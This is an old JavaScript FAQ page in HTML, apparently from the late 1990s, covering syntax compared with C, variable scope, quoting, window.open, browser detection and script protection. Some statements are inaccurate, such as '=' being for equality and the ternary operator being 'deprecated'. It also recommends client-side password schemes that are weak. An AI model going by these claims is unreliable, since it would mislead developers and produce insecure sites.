<p style="text-align: justify;"><span style="font-size: 10pt;">A</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. This question goes to the heart of any OOPS [Object-Oriented Programming System]. The abbreviated answer given here &#8212; lengthy as it is &#8212; omits important differences between the Netscape and Microsoft browser object models, and between various versions of JavaScript. For a more accurate discussion refer to one of the <a href="http://www.intranetjournal.com/jsfaq/index.html#progref"><span style="color: #0000ff;">programmer&#8217;s references cited</span></a> elsewhere in this FAQ.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>3. <a name="FAQ3_3"></a>What are JavaScript <em>event handlers</em>?</h3>
<p style="text-align: justify;"><span style="font-size: 10pt;">A</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. Among other things, event handlers are the subject of part II of Intranet Journal&#8217;s 3-part tutorial, <a href="http://www.intranetjournal.com/corner/hoque/basic-1.shtml"><span style="color: #0000ff;">JavaScript 101</span></a>, by Reaz Hoque. That&#8217;s a good starting place. Also refer to the following diagram from Wrox Press Ltd., which puts browser events and the code that handles them in context.</span></p>
<div>
<table style="mso-cellspacing: 1.5pt;" border="0" cellpadding="0">
<tbody>
<tr>
<td style="padding: 0.75pt;">
<p class="MsoNormal" style="text-align: center;" align="center"><strong><span style="font-size: 10pt; font-family: Arial;">Handling Browser Events</span></strong></p>
</td>
</tr>
<tr>
<td style="padding: 0.75pt;">
<p class="MsoNormal" style="text-align: center;" align="center"> <br />
<a href="http://www.intranetjournal.com/pix/stories/wrox-ev.gif"></a></p>
</td>
</tr>
</tbody>
</table>
</div>
<p class="MsoNormal"> </p>
<p style="text-align: right;" align="right"><a name="FAQ3_4"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>4. How is JavaScript syntax like C / C++?</h3>
<p style="text-align: justify;"><span style="font-size: 10pt;">A</span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. The languages have enough in common to make learning one easy if you know the other. By the same token, the differences are subtle enough to trip up those proficient in both. Here&#8217;s a short list comparing C and JavaScript:</span></p>
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Terminating JavaScript command lines in <strong>semicolons</strong> is optional; in C it&#8217;s mandatory. Recommended practice is to use them religiously in both languages (and Java as well). </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Both JavaScript and C are <strong>case-sensitive</strong>; &#8216;doThis&#8217; is different from &#8216;DOTHIS&#8217;. Experienced programmers learn to love this feature, which drives beginners nuts. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Both JavaScript and C are <strong>block-structured</strong> computer languages and employ curly brackets &#8212; &#8216;{&#8217; and &#8216;}&#8217; &#8212; to delimit blocks. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Both JavaScript and C employ <strong>quotation</strong> &#8212; enclosure in single or double quote marks &#8212; to designate text strings. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Arrays in both JavaScript and C are <strong>zero-based</strong>; the first element is myArray[0], not myArray[1]. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Both JavaScript and C employ &#8216;==&#8217; for comparison, &#8216;=&#8217; for equality, and &#8216;!&#8217; for negation. In fact the set of JavaScript <strong>operators</strong> is essentially borrowed from C (right down to the deprecated ternary construct </span><code><span style="font-size: 10pt; font-family: Arial;">a ? b : c</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">). </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Both JavaScript and C employ the symbols /* to designate a comment */. JavaScript also permits the use of &#8216;//&#8217; for short comments, as in C++. </span></li>
</ul>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Finally, JavaScript&#8217;s <strong>statements</strong> are a strict subset of C++&#8217;s, offering a smaller selection of identical looping and conditional constructs.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<p style="text-align: justify;"><strong><span style="text-decoration: underline;"><span style="font-size: 16pt; mso-bidi-font-size: 7.5pt;">How do I &#8230;</span></span></strong><span style="text-decoration: underline;"></span></p>
<h3><a name="FAQ4_1"></a>&#8230; embed JavaScript in a web page?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">im Ritchey offers a number of useful style guidelines in his book <em>Programming JavaScript for Netscape<sup>TM</sup> 2.0</em>. Here&#8217;s how he writes JavaScript:</span></p>
<pre>&lt;SCRIPT LANGUAGE="JavaScript"&gt;</pre>
<pre>&lt;!-- hide script from older browsers</pre>
<pre> </pre>
<pre><span style="mso-spacerun: yes;">     </span>[insert your code here]</pre>
<pre> </pre>
<pre>// end script hiding --&gt;</pre>
<pre>&lt;/SCRIPT&gt;</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Ritchey also points out that JavaScript accepts the C-language comment delimiters </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">/* comment */</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">, useful for multi-line comments.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_2"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>&#8230; use the same variable name several times in a script?</h3>
<p><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">B</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">y default all variables in JavaScript are <em>global</em>, meaning they retain their values everywhere in a scripted web page. To make a variable <em>local</em> to a block (such as a function), declare it with the keyword </span><code><strong><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">var</span></strong></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. Here&#8217;s a n example:</span></p>
<pre>// here 'i' is a global counter variable that could, if reused</pre>
<pre>// elsewhere in this script, create hard-to-find errors</pre>
<pre> </pre>
<pre>for( i=1; i&lt;=N; i++ ) {</pre>
<pre><span style="mso-spacerun: yes;">     </span>[code to iterate]</pre>
<pre>}</pre>
<pre> </pre>
<pre>// to ensure that 'i' exists only in the scope of this</pre>
<pre>// counter, use <code><strong>var</strong></code>:</pre>
<pre> </pre>
<pre>for( var i=1; i&lt;=N; i++ ) {</pre>
<pre><span style="mso-spacerun: yes;">     </span>[ ... ]</pre>
<pre>}</pre>
<p style="text-align: justify;"><strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Limiting a variable's scope</span></strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> is especially valuable when cutting-and-pasting an existing script, not necessarily written by you, into a new web page. If you use local variables in your functions, you needn't worry about stepping on variables in t he reused code.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_3"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... use quotation marks when scripting?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">here are two types of quote mark in JavaScript, the <strong>single-quote</strong> (') and <strong>double-quote</strong> ("). Either can be used to delimit a <em>string literal</em>, or sequence of characters. For example:</span></p>
<pre>myDblQString = "This string is surrounded by double-quote marks.";</pre>
<pre>mySngQString = 'This string is surrounded by single-quote marks.';</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">However, since HTML itself makes extensive use of double-quotes within tags, it's a <strong>good idea to use single-quotes</strong> to set off strings in your scripts. This is particularly useful when your code contains quoted elements, as follows:</span></p>
<pre>onClick = "alert( 'Are you sure?' )";</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Strings containing <strong>apostrophes</strong>, which are identical to single-quotes, require you to use the backslash character (\) to escape the apostrophes, as shown below:</span></p>
<pre>myEscString = 'John didn\'t like Mary\'s hat.';</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Quoted strings can be combined with other strings, whether literals or variables:</span></p>
<pre>errMsg = "Passwords are case-sensitive.";</pre>
<pre>message = "Error: " + errMsg;</pre>
<pre>// assigns 'Error: Passwords are case-sensitive.' to message</pre>
<p class="MsoNormal"> </p>
<p class="MsoNormal"> </p>
<p style="text-align: right;" align="right"><a name="FAQ4_4"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... submit forms by e-mail?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">he most reliable way is to use straight HTML via a Submit style button. Set the ACTION of the &lt;FORM&gt; to a mailto: URL and the ENCTYPE attribute to "text/plain". For security reasons, the </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">form.submit()</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> method does not submit a form whose ACT ION is a mailto: URL.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Microsoft Internet Explorer 3.0x <strong>does not e-mail forms</strong> directly, though it can launch an e-mail client such as Eudora Pro or Outlook Express. These in turn <strong>convey identifying info</strong> to the recipient, offering a measure of security.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_5"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... script a visit counter?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">A</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">t best, a client-side script can show the visitor how many she has been to the site (storing the count in a local cookie). A count of total hits to the server requires a server-side program.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_6"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... script a calendar on the fly?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">I</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">f you view the source of <a href="http://www.intranetjournal.com/ievents.html"><span style="color: #0000ff;">Intranet Journal's Events page</span></a>, you'll have your answer in freely distributable form. Features of this <strong>homegrown implementation</strong> include:</span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">object-oriented, with perpetual calendar class </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">reusable isLeapYear() function </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">highlights current day </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Y2000 compliant </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">easily invoked from page </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;BODY&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> via forms or embedded script</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> commands. </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Here's a typical invocation: </span></p>
<pre style="margin: 0in 0.5in 0pt;">&lt;SCRIPT LANGUAGE="JavaScript"&gt;</pre>
<pre style="margin: 0in 0.5in 0pt;">&lt;!--</pre>
<pre style="margin: 0in 0.5in 0pt;">//<span style="mso-spacerun: yes;">  </span>insert on-the-fly day calendar</pre>
<pre style="margin: 0in 0.5in 0pt;"><span style="mso-tab-count: 1;">  </span>makeCal(9, 1997);<span style="mso-spacerun: yes;">  </span>// September 1997</pre>
<pre style="margin: 0in 0.5in 0pt;">// --&gt;</pre>
<pre style="margin: 0in 0.5in 0pt;">&lt;/SCRIPT&gt;</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">To use the code, you'll need to change the part of the </span><code><span style="font-size: 10pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">getHTML()</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> method demarked "page specific stuff." The code is unsupported and not warranted for any particular use.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_7"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... access objects and scripts in the window I open with window.open()?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">F</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">irst, be sure to assign an 'opener' property to the new window if you are using a version of JS that doesn't do it automatically (Navigator 3.0x and MSIE 3.0x do it automatically). The following script should be a part of <strong>every</strong> new window creation:</span></p>
<pre><span style="mso-spacerun: yes;">   </span>var newWind = window.open("xxx","xxx","xxx")<span style="mso-spacerun: yes;">  </span>// u fill in blanks</pre>
<pre><span style="mso-spacerun: yes;">   </span>if (newWind.opener == null) {<span style="mso-spacerun: yes;">  </span>// for Nav 2.0x</pre>
<pre><span style="mso-spacerun: yes;">      </span>newWind.opener = self<span style="mso-spacerun: yes;">  </span>// this creates and sets a new property</pre>
<pre><span style="mso-spacerun: yes;">   </span>}</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">To access items in the new window from the original window, the 'newWind' variable must not be damaged (by unloading), because it contains the only reference to the other window you can use (the name you assign as the second parameter of open() is not valid for scripted window references; only for TARGET attributes).&lt; /P&gt; </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">To access a form element property in the new window, use:</span></p>
<pre><span style="mso-spacerun: yes;">   </span>newWind.document.formName.elementName.property</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">From the new window, the 'opener' property is a reference to the original window (or frame, if the window.open() call was made from a frame). To reference a form element in the original window:</span></p>
<pre><span style="mso-spacerun: yes;">   </span>opener.document.formName.elementName.property</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Finally, if the new window was opened from one frame in the main browser window, and a script in the new window needs access to another frame in the main browser window, use:</span></p>
<pre><span style="mso-spacerun: yes;">   </span>opener.parent.otherFrameName.document.formName</pre>
<p class="MsoNormal"> </p>
<p style="text-align: right;" align="right"><a name="FAQ4_8"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... use JavaScript to password-protect my Web site?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">here are a number of schemes, but be warned that most fail to deflect the knowledgeable script programmer because no matter how you encode the correct password (e.g., bit shifting), both the encoding algorithms and the result have to be in the script -- whose source code is easily accessible. If you're only interested in keeping out casual visitors, this method may suffice.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">A more secure way is to set the password to be the name or pathname of the HTML file on your site that is the 'true' starting page. Set the location to the value entered into the field (unfortunately, you cannot extract the value property of a password object in Navigator 2.0x). Entry of a bogus password yields an 'invalid URL' error.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">If the protected pages need additional security (e.g., an infidel has managed to get the complete URL), you might also consider setting a <strong>temporary cookie</strong> on the password page; then test for the existence of that cookie upon entry to every protected page, and throw the infidel back to the password page.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_9"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... write browser-independent scripts?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">S</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">trictly speaking, you can’t. Many browsers don't support Javascript at all. We’ve come to think of the Web as a franchise fought over by Netscape and Microsoft, but there <em>are</em> still people who browse with Lynx, NCSA Mosaic, UdiWWW, Cello – well, maybe not Cello. ;^) </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Speaking informally, there are two ways to write <strong>more portable code</strong>. One is to use only <strong>least-common-denominator features</strong> supported by all versions of Navigator and MSIE. We’re talking JavaScript 1.0, introduced with Netscape 2.0 and IE 3.0. This approach has a couple of drawbacks:</span></p>
<ul type="disc">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l6 level1 lfo7; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">you lose many of the desirable features available in more recent versions </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l6 level1 lfo7; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">the behavior of various browsers differs even at this primitive level, and there are some bugs in JavaScript 1.0. </span></li>
</ul>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Your other option is <em>browser-detection</em>. By running a script at load time that identifies the browser it’s executing in, you can branch conditionally to <strong>appropriately optimized code</strong>. This is good stuff, though it won’t work for all browsers and requires you to add a lot of gobbledy-gook to your web pages. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Here’s a typical browser-detection routine you can customize:</span></p>
<pre>&lt;SCRIPT language="JavaScript"&gt;</pre>
<pre>&lt;!--</pre>
<pre>function checkBrowser(NSvers,NSpass,NSnoPass,IEvers,IEpass,</pre>
<pre><span style="mso-spacerun: yes;">                      </span>IEnoPass,OBpass,URL,altURL) {</pre>
<pre><span style="mso-spacerun: yes;">  </span>var newURL = '', version = parseFloat(navigator.appVersion);</pre>
<pre><span style="mso-spacerun: yes;">  </span>if (navigator.appName.indexOf('Netscape') != -1) {</pre>
<pre><span style="mso-spacerun: yes;">    </span>if (version &gt;= NSvers)</pre>
<pre><span style="mso-spacerun: yes;">       </span>{if (NSpass&gt;0) newURL = (NSpass==1)?URL:altURL;}</pre>
<pre><span style="mso-spacerun: yes;">    </span>else</pre>
<pre><span style="mso-spacerun: yes;">       </span>{if (NSnoPass&gt;0) newURL = (NSnoPass==1)?URL:altURL;}</pre>
<pre><span style="mso-spacerun: yes;">  </span>} else if (navigator.appName.indexOf('Microsoft') != -1) {</pre>
<pre><span style="mso-spacerun: yes;">    </span>if (version &gt;= IEvers)</pre>
<pre><span style="mso-spacerun: yes;">       </span>{if (IEpass&gt;0) newURL = (IEpass==1)?URL:altURL;}</pre>
<pre><span style="mso-spacerun: yes;">    </span>else</pre>
<pre><span style="mso-spacerun: yes;">       </span>{if (IEnoPass&gt;0) newURL = (IEnoPass==1)?URL:altURL;}</pre>
<pre><span style="mso-spacerun: yes;">  </span>} else if (OBpass&gt;0) {newURL = (OBpass==1)?URL:altURL};</pre>
<pre> </pre>
<pre><span style="mso-spacerun: yes;">  </span>if (newURL) {</pre>
<pre><span style="mso-spacerun: yes;">    </span>window.location = unescape(newURL);</pre>
<pre><span style="mso-spacerun: yes;">    </span>document.returnValue = false;</pre>
<pre><span style="mso-spacerun: yes;">  </span>}</pre>
<pre>}</pre>
<pre>//--&gt;</pre>
<pre>&lt;/SCRIPT&gt;</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">This code, which should appear in the HEAD section of a web page, jumps to another page if the visitor is using a browser earlier than version 4.0. </span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_10"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... match text patterns like I can in Perl?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">he short answer is, "By forgetting about JavaScript and coding server-side <a href="http://www.intranetjournal.com/webservers/cgi.html"><span style="color: #0000ff;">CGI</span></a> scripts in <a href="http://www.perl.com/" target="_blank"><span style="color: #0000ff;">Perl</span></a>." </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">A longer, <strong>browser-dependent</strong> answer: read <a href="http://developer.netscape.com/news/viewsource/angus_strings.html"><span style="color: #0000ff;">Angus Young's article</span></a>, "String matching and replacing in JavaScript 1.2."</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_11"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... prevent others from seeing/copying my scripts?</h3>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">You can't. There is no way to produce an HTML document that can be rendered in a browser but whose source cannot be examined in its entirety, scripts included. And since web browsers have functions like "View Source" and "Save As HTML," copying is a cut-and-paste operation. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Putting a <strong>copyright notice</strong> at the head of your code affords some legal protection. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Microsoft has introduced a technique called <a href="http://www.microsoft.com/Mind/0899/ScriptEngine/scriptengine.htm" target="_blank"><span style="color: #0000ff;">script encoding</span></a> that garbles HTML, ASP, VBS, and JScript source code so that it is <strong>unreadable by a casual user</strong>. (The lightweight encryption used won't stop determined hackers.) The technique requires Microsoft's version 5.0 Script Engine; it won't execute in Netscape Navigator or earlier</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">MSIE versions.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_12"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... detect whether JavaScript support has been disabled?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">C</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">ommon sense says that if you're going to detect if JavaScript is disabled, you'd better do it in something besides JavaScript! Check instead to see if scripting is <em>enabled</em>.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">You might, for instance, use something like </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">document.location = 'java_page.html'</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> to redirect the browser to a new, script-laden page. Failure to redirect implies that JavaScript is unavailable, in which case you can either resort to CGI routines or insert</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">appropriate code between the</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;NOSCRIPT&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tags. (NOTE: </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">NOSCRIPT</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> is only available in Netscape Navigator 3.0 and up.)</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
